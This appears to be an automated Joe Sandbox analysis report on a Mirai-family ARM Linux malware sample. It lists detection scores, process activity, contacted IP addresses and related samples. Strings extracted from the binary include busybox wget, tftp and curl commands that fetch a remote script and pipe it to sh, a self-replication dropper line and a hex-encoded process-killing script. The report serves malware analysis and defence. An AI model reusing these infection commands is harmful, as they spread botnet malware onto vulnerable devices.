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Linux Analysis Report
MUm3efxWut.elf

Overview

General Information

Sample name:	MUm3efxWut.elf renamed because original name is a hash value
Original sample name:	c10d209871d0561cd870e933eeded9ee.elf
Analysis ID:	1432510
MD5:	c10d209871d0561cd870e933eeded9ee
SHA1:	41ff778af90f1376d7cddfe3799741318bf8702e
SHA256:	47134fd761454838d25e25abf134b30be67c1e53f0ab537c6a7d995f810d74cf
Tags:	32armelfmirai
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432510
Start date and time:	2024-04-27 11:31:39 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	MUm3efxWut.elf renamed because original name is a hash value
Original Sample Name:	c10d209871d0561cd870e933eeded9ee.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/77@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/MUm3efxWut.elf
PID:	5505
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

MUm3efxWut.elf (PID: 5505, Parent: 5427, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/MUm3efxWut.elf

MUm3efxWut.elf New Fork (PID: 5507, Parent: 5505)

MUm3efxWut.elf New Fork (PID: 5509, Parent: 5507)

MUm3efxWut.elf New Fork (PID: 5511, Parent: 5507)

MUm3efxWut.elf New Fork (PID: 5513, Parent: 5507)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: MUm3efxWut.elf	ReversingLabs: Detection: 57%
Source: MUm3efxWut.elf	Virustotal: Detection: 48%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 4.138.142.136
Source: unknown	TCP traffic detected without corresponding DNS query: 46.15.98.99
Source: unknown	TCP traffic detected without corresponding DNS query: 191.204.252.13
Source: unknown	TCP traffic detected without corresponding DNS query: 126.64.63.208
Source: unknown	TCP traffic detected without corresponding DNS query: 151.175.144.110
Source: unknown	TCP traffic detected without corresponding DNS query: 70.194.90.187
Source: unknown	TCP traffic detected without corresponding DNS query: 69.120.234.88
Source: unknown	TCP traffic detected without corresponding DNS query: 186.238.90.97
Source: unknown	TCP traffic detected without corresponding DNS query: 71.60.62.107
Source: unknown	TCP traffic detected without corresponding DNS query: 156.213.203.125
Source: unknown	TCP traffic detected without corresponding DNS query: 162.99.202.195
Source: unknown	TCP traffic detected without corresponding DNS query: 12.79.131.209
Source: unknown	TCP traffic detected without corresponding DNS query: 134.45.168.6
Source: unknown	TCP traffic detected without corresponding DNS query: 115.221.97.95
Source: unknown	TCP traffic detected without corresponding DNS query: 159.201.107.83
Source: unknown	TCP traffic detected without corresponding DNS query: 156.188.232.155
Source: unknown	TCP traffic detected without corresponding DNS query: 71.128.172.16
Source: unknown	TCP traffic detected without corresponding DNS query: 158.213.118.33
Source: unknown	TCP traffic detected without corresponding DNS query: 81.32.211.236
Source: unknown	TCP traffic detected without corresponding DNS query: 13.173.176.150
Source: unknown	TCP traffic detected without corresponding DNS query: 39.136.116.46
Source: unknown	TCP traffic detected without corresponding DNS query: 177.184.226.239
Source: unknown	TCP traffic detected without corresponding DNS query: 221.105.158.8
Source: unknown	TCP traffic detected without corresponding DNS query: 103.51.84.245
Source: unknown	TCP traffic detected without corresponding DNS query: 171.220.62.113
Source: unknown	TCP traffic detected without corresponding DNS query: 194.107.19.103
Source: unknown	TCP traffic detected without corresponding DNS query: 101.113.250.185
Source: unknown	TCP traffic detected without corresponding DNS query: 89.249.25.192
Source: unknown	TCP traffic detected without corresponding DNS query: 46.94.77.224
Source: unknown	TCP traffic detected without corresponding DNS query: 207.152.193.225
Source: unknown	TCP traffic detected without corresponding DNS query: 144.103.112.182
Source: unknown	TCP traffic detected without corresponding DNS query: 141.253.137.191
Source: unknown	TCP traffic detected without corresponding DNS query: 70.72.87.29
Source: unknown	TCP traffic detected without corresponding DNS query: 213.172.122.33
Source: unknown	TCP traffic detected without corresponding DNS query: 70.114.121.192
Source: unknown	TCP traffic detected without corresponding DNS query: 33.27.127.91
Source: unknown	TCP traffic detected without corresponding DNS query: 191.7.117.241
Source: unknown	TCP traffic detected without corresponding DNS query: 8.7.104.104
Source: unknown	TCP traffic detected without corresponding DNS query: 97.67.52.23
Source: unknown	TCP traffic detected without corresponding DNS query: 87.38.15.50
Source: unknown	TCP traffic detected without corresponding DNS query: 216.11.165.27
Source: unknown	TCP traffic detected without corresponding DNS query: 76.235.62.214
Source: unknown	TCP traffic detected without corresponding DNS query: 42.70.181.26
Source: unknown	TCP traffic detected without corresponding DNS query: 66.184.142.217
Source: unknown	TCP traffic detected without corresponding DNS query: 206.54.167.236
Source: unknown	TCP traffic detected without corresponding DNS query: 54.251.132.191
Source: unknown	TCP traffic detected without corresponding DNS query: 15.39.13.36
Source: unknown	TCP traffic detected without corresponding DNS query: 155.246.220.72
Source: unknown	TCP traffic detected without corresponding DNS query: 68.229.93.252
Source: unknown	TCP traffic detected without corresponding DNS query: 156.8.90.130

Source: MUm3efxWut.elf	String found in binary or memory: http:///curl.sh
Source: MUm3efxWut.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4tj

Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5540/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5540/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5540/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5540/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5541/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5541/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5542/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5542/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5542/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5542/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5532/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5532/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5543/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5543/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5543/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5543/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5533/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5544/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5544/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5544/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5544/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5534/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5534/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5545/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5545/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5545/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5545/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5535/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5535/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5546/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5546/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5546/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5546/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5536/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5536/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5547/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5547/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5547/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5547/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5537/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5537/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5548/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5548/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5548/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5548/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5538/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5538/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5549/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5549/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5539/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5539/cmdline	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5539/maps	Jump to behavior
Source: /tmp/MUm3efxWut.elf (PID: 5511)	File opened: /proc/5539/cmdline	Jump to behavior

Source: MUm3efxWut.elf, 5505.1.00007ffdf3881000.00007ffdf38a2000.rw-.sdmp, MUm3efxWut.elf, 5509.1.00007ffdf3881000.00007ffdf38a2000.rw-.sdmp	Binary or memory string: wx86_64/usr/bin/qemu-arm/tmp/MUm3efxWut.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/MUm3efxWut.elf
Source: MUm3efxWut.elf, 5505.1.000056309af6f000.000056309b09d000.rw-.sdmp, MUm3efxWut.elf, 5509.1.000056309af6f000.000056309b09d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: MUm3efxWut.elf, 5505.1.000056309af6f000.000056309b09d000.rw-.sdmp, MUm3efxWut.elf, 5509.1.000056309af6f000.000056309b09d000.rw-.sdmp	Binary or memory string: 0V!/etc/qemu-binfmt/arm
Source: MUm3efxWut.elf, 5505.1.00007ffdf3881000.00007ffdf38a2000.rw-.sdmp, MUm3efxWut.elf, 5509.1.00007ffdf3881000.00007ffdf38a2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
MUm3efxWut.elf	58%	ReversingLabs	Linux.Trojan.Mirai
MUm3efxWut.elf	48%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http:///curl.sh	0%	Avira URL Cloud	safe
http:///wget.sh	0%	Avira URL Cloud	safe

IP	Domain	Country	ASN	ASN Name	Malicious
16.98.120.120	unknown	United States	unknown	unknown	false
181.241.10.145	unknown	Colombia	26611	COMCELSACO	false
94.194.186.7	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
129.162.120.212	unknown	United States	6481	SWRIUS	false
153.26.96.241	unknown	United States	6035	DNIC-ASBLK-05800-06055US	false
15.40.136.139	unknown	United States	13979	ATT-IPFRUS	false
212.61.60.127	unknown	Netherlands	8426	CLARANET-ASClaraNETLTDGB	false
33.244.231.196	unknown	United States	2686	ATGS-MMD-ASUS	false
86.249.22.89	unknown	France	3215	FranceTelecom-OrangeFR	false
81.247.250.209	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
94.179.153.25	unknown	Ukraine	6849	UKRTELNETUA	false
147.168.227.79	unknown	United States	12087	SALSGIVERUS	false
160.97.84.24	unknown	Italy	137	ASGARRConsortiumGARREU	false
184.217.180.60	unknown	United States	10507	SPCSUS	false
197.39.112.173	unknown	Egypt	8452	TE-ASTE-ASEG	false
25.188.154.35	unknown	United Kingdom	7922	COMCAST-7922US	false
121.242.25.13	unknown	India	4755	TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP	false
47.75.87.180	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
141.28.229.190	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false
98.181.228.47	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
22.115.126.97	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
156.23.113.249	unknown	United States	29975	VODACOM-ZA	false
43.234.34.197	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
153.234.5.166	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
45.128.46.207	unknown	Germany	203061	ITPROXIMUSGB	false
166.130.247.156	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
212.85.176.196	unknown	Slovenia	3212	TELEMACHBroadbandAccessCarrierServicesSI	false
196.2.36.188	unknown	South Africa	10474	OPTINETZA	false
182.137.196.177	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
216.194.107.170	unknown	Canada	13150	CATONDE	false
125.118.7.9	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
96.45.158.122	unknown	United States	26251	SIRIUS-1US	false
63.208.245.81	unknown	United States	3356	LEVEL3US	false
203.167.96.12	unknown	Philippines	9658	ETPI-IDS-AS-APEasternTelecomsPhilsIncPH	false
13.34.104.196	unknown	United States	7018	ATT-INTERNET4US	false
221.1.142.179	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
34.39.198.37	unknown	United States	2686	ATGS-MMD-ASUS	false
118.68.106.134	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
139.205.62.154	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.28.244.99	unknown	France	34542	SAFRANHE-ASFR	false
76.136.14.185	unknown	United States	7922	COMCAST-7922US	false
70.4.179.164	unknown	United States	10507	SPCSUS	false
139.248.130.154	unknown	United States	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
162.53.112.219	unknown	Canada	22910	LOBLAW-COMPANIESCA	false
175.149.195.40	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
52.234.146.146	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
156.216.196.63	unknown	Egypt	8452	TE-ASTE-ASEG	false
70.72.54.78	unknown	Canada	6327	SHAWCA	false
153.24.131.220	unknown	United States	6035	DNIC-ASBLK-05800-06055US	false
93.154.50.170	unknown	Netherlands	1136	KPNKPNNationalEU	false
44.217.160.145	unknown	United States	14618	AMAZON-AESUS	false
218.122.72.91	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
118.144.22.184	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
8.199.214.212	unknown	United States	3356	LEVEL3US	false
209.125.70.136	unknown	United States	7029	WINDSTREAMUS	false
13.61.211.202	unknown	United States	16509	AMAZON-02US	false
87.254.156.155	unknown	Russian Federation	34038	COMTEL-TMN-ASRU	false
136.51.212.235	unknown	United States	16591	GOOGLE-FIBERUS	false
102.195.48.47	unknown	unknown	36926	CKL1-ASNKE	false
154.138.92.23	unknown	Egypt	37069	MOBINILEG	false
68.133.52.33	unknown	United States	701	UUNETUS	false
146.83.103.59	unknown	Chile	11340	RedUniversitariaNacionalCL	false
201.14.244.95	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
166.94.226.254	unknown	United States	3926	FFX-CNTYUS	false
5.198.79.75	unknown	United Kingdom	12390	KINGSTON-UK-ASGB	false
37.124.139.204	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
166.170.118.190	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
145.171.85.179	unknown	Netherlands	59524	KPN-IAASNL	false
53.234.81.17	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
33.98.94.194	unknown	United States	2686	ATGS-MMD-ASUS	false
99.32.55.64	unknown	United States	7018	ATT-INTERNET4US	false
57.208.75.0	unknown	Belgium	2686	ATGS-MMD-ASUS	false
14.37.118.67	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
211.215.229.228	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
1.148.120.252	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
67.2.12.40	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
24.81.168.244	unknown	Canada	6327	SHAWCA	false
59.187.250.88	unknown	Korea Republic of	7562	HCNSEOCHO-AS-KRHCNDongjakKR	false
170.95.129.214	unknown	unknown	21852	DISNW1US	false
203.182.200.175	unknown	Japan	4673	INTERVIANTTDATACORPORATIONJP	false
152.193.221.55	unknown	United States	701	UUNETUS	false
123.200.168.175	unknown	Australia	9723	ISEEK-AS-APiseekCommunicationsPtyLtdAU	false
91.219.64.80	unknown	Russian Federation	51178	AVANTEL-SPB-ASStPetersburgbranchRU	false
55.133.230.69	unknown	United States	1541	DNIC-ASBLK-01534-01546US	false
90.147.189.165	unknown	Italy	137	ASGARRConsortiumGARREU	false
137.251.196.94	unknown	Germany	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	false
165.206.61.11	unknown	United States	6122	ICN-ASUS	false
29.59.193.179	unknown	United States	7922	COMCAST-7922US	false
133.22.130.197	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
83.114.124.99	unknown	France	3215	FranceTelecom-OrangeFR	false
194.76.86.145	unknown	Germany	6687	KDO-ASElsaesserStrasse66DE	false
77.167.162.138	unknown	Netherlands	1136	KPNKPNNationalEU	false
219.154.163.134	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
41.245.65.187	unknown	unknown	36974	AFNET-ASCI	false
89.51.88.123	unknown	Germany	5430	FREENETDEfreenetDatenkommunikationsGmbHDE	false
100.176.228.191	unknown	United States	21928	T-MOBILE-AS21928US	false
133.87.127.122	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
191.64.130.206	unknown	Colombia	26611	COMCELSACO	false
82.126.148.122	unknown	France	3215	FranceTelecom-OrangeFR	false
157.163.163.137	unknown	Germany	22192	SSHENETUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
184.217.180.60	weF63kkwWl.elf	Get hash	malicious	Unknown	Browse
94.194.186.7	gm4I5PGtrj.elf	Get hash	malicious	Mirai	Browse
	MBMHzciQPT	Get hash	malicious	Mirai	Browse
	r6ZMm6XiWc	Get hash	malicious	Mirai	Browse
156.23.113.249	Zsw9n2qDyj.elf	Get hash	malicious	Mirai	Browse
212.85.176.196	ABQktqw2vr	Get hash	malicious	Mirai	Browse
212.85.176.196	sora.arm7	Get hash	malicious	Mirai	Browse
216.194.107.170	q4Xn6vuQ0S	Get hash	malicious	Mirai	Browse
63.208.245.81	JOR6kx99tx.elf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BSKYB-BROADBAND-ASGB	Kryl6TWwj6.elf	Get hash	malicious	Mirai	Browse	176.251.185.116
	spQm3NLQtH.elf	Get hash	malicious	Unknown	Browse	94.4.129.156
	x1b5bmJgLm.elf	Get hash	malicious	Unknown	Browse	2.218.141.115
	fbW42zYly3.elf	Get hash	malicious	Mirai	Browse	188.222.185.245
	GcOeQTPzrh.elf	Get hash	malicious	Unknown	Browse	151.231.176.142
	01EF8hZ6ib.elf	Get hash	malicious	Unknown	Browse	2.222.184.196
	wMPum9KAnI.elf	Get hash	malicious	Mirai	Browse	151.226.23.57
	sora.x86.elf	Get hash	malicious	Mirai	Browse	94.6.4.171
	pGTQLD9ukH.elf	Get hash	malicious	Mirai	Browse	90.199.199.225
	CxBkzmVHaR.elf	Get hash	malicious	Mirai	Browse	176.24.18.171
COMCELSACO	FZAuI72f4q.elf	Get hash	malicious	Unknown	Browse	181.253.247.181
	WwKYOW4jIg.elf	Get hash	malicious	Mirai	Browse	181.159.27.100
	dwn1cGHIbV.elf	Get hash	malicious	Mirai	Browse	190.243.220.129
	NMdpQecbkg.elf	Get hash	malicious	Mirai	Browse	191.154.115.94
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	191.73.152.221
	YKLjlQEZKY.elf	Get hash	malicious	Mirai	Browse	181.254.185.107
	pGTQLD9ukH.elf	Get hash	malicious	Mirai	Browse	181.245.68.68
	jdsfl.x86.elf	Get hash	malicious	Mirai	Browse	181.151.88.18
	lS9yzwGRef.elf	Get hash	malicious	Mirai	Browse	190.125.17.153
	jPLqxoxi1w.elf	Get hash	malicious	Mirai	Browse	191.72.97.165
ATT-IPFRUS	fbW42zYly3.elf	Get hash	malicious	Mirai	Browse	15.115.228.66
	GcOeQTPzrh.elf	Get hash	malicious	Unknown	Browse	15.41.197.240
	EdO1baKdpe.elf	Get hash	malicious	Mirai	Browse	15.71.244.128
	ZMDO0vznFx.elf	Get hash	malicious	Unknown	Browse	15.112.38.1
	czEunnbk7b.elf	Get hash	malicious	Mirai	Browse	15.6.35.85
	9IseFevRH6.elf	Get hash	malicious	Mirai	Browse	15.44.206.39
	dPFRrhKTeG.elf	Get hash	malicious	Unknown	Browse	15.17.106.169
	kl7nWo7u71.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.152.174.199
	5lrOsR7kdX.elf	Get hash	malicious	Mirai	Browse	15.62.240.176
	x86	Get hash	malicious	Unknown	Browse	15.9.142.149
DNIC-ASBLK-05800-06055US	WFdAK6HQgz.elf	Get hash	malicious	Unknown	Browse	207.133.108.177
	d1CFx1lzym.elf	Get hash	malicious	Mirai	Browse	140.185.254.88
	GcOeQTPzrh.elf	Get hash	malicious	Unknown	Browse	214.55.243.178
	EdO1baKdpe.elf	Get hash	malicious	Mirai	Browse	214.13.59.253
	WwKYOW4jIg.elf	Get hash	malicious	Mirai	Browse	134.11.167.54
	sora.x86.elf	Get hash	malicious	Mirai	Browse	164.253.142.239
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	192.138.61.34
	wsskM49eA3.elf	Get hash	malicious	Unknown	Browse	160.146.176.129
	9IseFevRH6.elf	Get hash	malicious	Mirai	Browse	205.117.55.139
